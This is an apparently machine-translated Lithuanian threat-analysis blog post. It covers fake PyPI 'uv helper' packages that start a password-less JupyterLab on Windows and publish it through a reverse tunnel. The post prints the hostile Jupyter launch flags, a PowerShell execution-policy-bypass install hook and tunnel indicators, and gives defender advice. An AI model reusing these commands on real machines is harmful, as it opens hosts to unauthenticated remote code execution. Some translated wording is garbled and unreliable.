„FauxUV“: netikri „PyPI“ UV paketai atveria „Jupyter“ žiniatinklyje

„FauxUV“: netikri „PyPI“ UV pagalbininkai, kurie atveria neautentifikuotą „Jupyter“ serverį internetui

Lt; DR

PyPI paketų klasteris pasiskolino pavadinimą uv, greitą, nepaprastai populiarų „Rust“ pagrindu sukurtą „Python“ paketų tvarkyklę, apsimetančią „uv helpers“. Jie beveik neturi jokių realių funkcijų. Vietoj to jie turi „Windows“ paketą, kuris veikia kaip... „JupyterLab“ serveris su išjungta autentifikacija ir vėlesnėse versijose skelbia jį viešajame internete per atvirkštinį tunelį.

Štai visa istorija vienoje eilutėje: patikimo įrankio pavadinimas kaip masalas ir „JupyterLab“ kaip nuotolinio kodo vykdymo variklis. „Jupyter“ serveris paleidžia bet kokį kodą, kurį įvedate į netiesioginę reikšmę.ebook langelis; paleistas su tuščiu prieigos raktu ir susietas su kiekviena tinklo sąsaja, yra atviras interpretatorius, kurį gali valdyti kiekvienas, galintis pasiekti prievadą.

Mes sekame klasterį kaip FauxUVDu nagrinėti paketai yra moon-uv (0.0.1 – 0.0.16) ir my-magic-uv-helper (0.0.1), paskelbtas to paties operatoriaus ir analizės metu esantis PyPI.

ekosistemaPyPI
Paketaimoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Platforma orientuota įWindows
Pagrindinis elgesysNeautentifikuotas „JupyterLab“ serveris, paskelbtas internete per atvirkštinį tunelį
Piktnaudžiaujama teisėtais įrankiaisUV, JupyterLab, debesų skleidimas, Pingy

Masalas: vardas, kuriuo jau pasitikite

uv yra vienas iš dažniausiai per pastaruosius dvejus metus įdiegtų „Python“ įrankių, todėl „pagalbininkas uv„yra paketas, kurį kūrėjas įdiegia negalvodamas. „FauxUV“ savo patikimumą visiškai skiria šiam pavadinimui. Paketai apima tikras uv diegimo programa iš „Astral“ – URL adresai naudingojoje apkrovoje nurodo tikrus, patikimus prieglobos serverius, todėl greitai peržvelgus nematyti nieko, tik patikimas nuorodas. Nė vienas iš paketų iš tikrųjų neprideda uv funkcionalumas; pavadinimas yra visa užmaskuota pusė.

„JupyterLab“ kaip RCE variklis

Naudingosios apkrovos centrinė dalis yra paleidimo priemonė, kuri paleidžia „JupyterLab“ pašalinus visus apsauginius turėklus:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Kiekviena vėliavėlė panaikina apsaugą, o pateiktame scenarijuje jos netgi yra anotuotos (originali kinų kalba): tuščias žetonas „išjungia slaptažodžių ir žetonų tikrinimus – prisijungti gali kiekvienas.“ „JupyterLab“ yra teisėta duomenų mokslo IDE, bet neebook ląstelė pagal paskirtį vykdo savavališką kodą. Sukonfigūruota tokiu būdu ir susieta su 0.0.0.0, jis nustoja būti IDE ir tampa neautentifikuotu nuotoliniu apvalkalu pagrindiniame kompiuteryje – nereikia jokio pasirinktinio kenkėjiškos programos dvejetainio failo, tiesiog įprastas įrankis, nukreiptas neteisinga kryptimi.

Du pagalbiniai elementai leidžia tai pasiekti ir pakartoti:

  • Tyliojo diegimo paleidiklis. Ankstesnės versijos paleidžia „PowerShell“ su -ExecutionPolicy Bypass tiesiai iš setup.py on pip diegimas, fone su slopinamomis klaidomis, kad pieputis atrodo normaliai. Vėlesnės versijos perkelia tą patį primityvą į pip-uv komandinės eilutės įrankis – ir visiškai atsisakykite automatinio paleidimo diegimo metu.
  • Viešas atvirkštinis tunelis. Serveris įjungtas 0.0.0.0 vis dar pasiekiamas tik tiems kompiuteriams, kurie gali nukreipti į kompiuterį. Sudėtinis modulis atidaro [Pingy](https://pinggy.io/) SSH atvirkštinis tunelis, kuris persiunčia vietinį „Jupyter“ prievadą į viešąjį adresą, panaikindamas šį apribojimą. Pateiktame scenarijuje taip pat yra (komentuotas) alternatyvus kelias, naudojant „Cloudflare“ debesų liepsnos ir netsh „port-proxy“ nukreipimas į „Linode“ IP adresą, dokumentuojant tą patį tikslą per skirtingą infrastruktūrą.

Apibendrinant: įdiekite paketą, o „Windows“ kompiuteris paleis slaptažodžio neturintį „JupyterLab“ ir paskelbs jį atvirame internete.

Kaip vystėsi „FauxUV“

„FauxUV“ versijos buvo siunčiamos greitai viena po kitos, o naudingosios apkrovos suveikimo taškas persikėlė per jas – priminimas, kad viena pažymėta versija retai kada papasakoja visą siuntos linijos istoriją.

Etapas versijos Sukelti Ką tai prideda
Įdiekite kabliuką moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py diegiant pip uv diegimas + pridėti kelią
CLI vykdymo aplinka moon-uv 0.0.5-0.0.13 pip-uv komanda slaptažodžių neturintis „JupyterLab“ paleidimo įrenginys
Tunelis moon-uv 0.0.14-0.0.16 pip-uv komanda aktyvus atvirkštinis Pingy tunelis

Pažymėtina, kad automatinis paleidimas diegimo metu buvo pašalintas vėlesnėse, galingesnėse versijose – taigi skaitytuvas įjungiamas tik gyvavimo ciklo metu hooks įvertintų naujesnius leidimus kaip mažiau rizikinga, visiškai atvirkščiai.

Kompromiso rodikliai

Patvirtinta perskaičius paketo šaltinį; pažymėti galiniai taškai komentarų yra failuose, bet analizuojama versija jų nevykdo. Tinklo indikatoriai yra pašalinti.

Tipas rodiklis
Įdiegti komandą powershell -ExecutionPolicy Bypass gaunamas tikrasis UV diegimo failas, PIP diegimo metu
JupyterLab vėliavos --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Atbulinis tunelis (aktyvus) free[.]pinggy[.]io:443 vietinis peradresavimas 127.0.0.1:8888
Tunelio priegloba (komentuota) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (komentuotas) 45[.]79[.]134[.]161 (Linodas) per netsh port-proxy
Atkaklumas prideda %USERPROFILE%\.local\bin vartotojo PATH

Elgesio signalai, į kuriuos verta atkreipti dėmesį, nepriklausomai nuo šių konkrečių eilučių: a pip diegimas kuris neršia „PowerShell“ – vykdymo politikos apėjimasbet koks jupyteris paleidimo derinimas žetonas = „” su –ip=0.0.0.0ir išeinantys SSH į *.pinggy.io iš kūrėjo arba CI įrenginio.

Stebimas elgesys ir kilmė

Abu paketai turi tą patį autorių ir metodą: patikimo įrankio pavadinimą, tik „Windows“ skirtą sinchronizavimą, foninį vykdymą be klaidų ir pasikliovimą patikimais įrankiais, todėl greitai peržvelgus galima pamatyti tik patikimus URL adresus. Šaltinyje yra kinų kalbos komentarai, aiškiai apibūdinantys su saugumu susijusias žymas; mes juos pateikiame kaip stebimus teiginius faile, o ne kaip teiginį apie motyvą. leisti_origin vertė ir a colab.bat failo pavadinimas atkartoja neoficialius „bendrinti mano vietinę vykdymo aplinką“ darbo eigą, kuri cirkuliuoja „Google Colab“. Nepriklausomai nuo kilmės, supakuotas rezultatas yra tas pats.

Poveikis ir gairės gynėjams

Kas yra veikiamas dirbtinio UV spinduliavimo. „Windows“ kūrėjai ir CI administratoriai, kurie pip diegimas vienas iš šių paketų. Slaptažodžio neturintis „JupyterLab“ 0.0.0.0 yra nuotolinis kodo vykdymas visiems, kas gali pasiekti prievadą; tunelis panaikina „kas gali jį pasiekti“ apribojimą. Serveris veikia diegiančio vartotojo vardu, paveldėdamas to vartotojo failus, prieigos raktus ir debesies kredencialus.

Kodėl lengva praleisti. Kiekviena tinklo eilutė nurodo į patikimą prieglobos teikėją – „Astral“, „JupyterLab“, debesų liepsnos, „Pingy“, „Colab“. Nėra jokio kenkėjiškos programos dvejetainio failo, kurį būtų galima maišyti, ir jokio užmaskuoto bloko, kurį reikėtų iššifruoti. Reputacijos ir parašo pagrindu atliekamas nuskaitymas tam suteikia nepakankamą reikšmę, todėl elgesio klausimas – Ką daro įrenginys įdiegęs šį paketą? — yra tas, kuris jį pagauna.

Patarimai:

  • Apdorokite bet kokį diegimo laiką „PowerShell“ – vykdymo politikos apėjimas kaip kūrimo nutraukimo signalą, nesvarbu, kokį URL adresą jis gauna.
  • Įspėjimas įjungtas jupyteris paleistas su tuščiu žetonu ir –ip=0.0.0.0; tas derinys niekada neturėtų būti rodomas darbo stotyje ar bėgimo programoje.
  • Stebėti siunčiamus SSH ryšius su tunelių teikėjais (*.pinggy.io, *.trycloudflare.com) iš kūrėjų ir CI aplinkų.
  • įrengti uv iš [oficialaus šaltinio](https://docs.astral.sh/uv/) ir skeptiškai vertinkite trečiųjų šalių „pagalbinius“ paketus, kurie įvynioja ir taip lengvai įdiegiamas įrankis.
  • Prisegti ir iš naujo peržiūrėti priklausomybes atnaujinimo metu – paketo eilutėje gali būti sukurta nauja funkcija, leidžianti sukurti naują versiją po versijos.
sca-tools-software-composition-analyses-tools
Prioritetizuoti, pašalinti ir apsaugoti savo programinės įrangos rizikas
Gaukite nemokamą paskyrą.
Nebūtina kreditinės kortelės.

Apsaugokite savo programinės įrangos kūrimą ir tiekimą

su „Xygeni“ produktų rinkiniu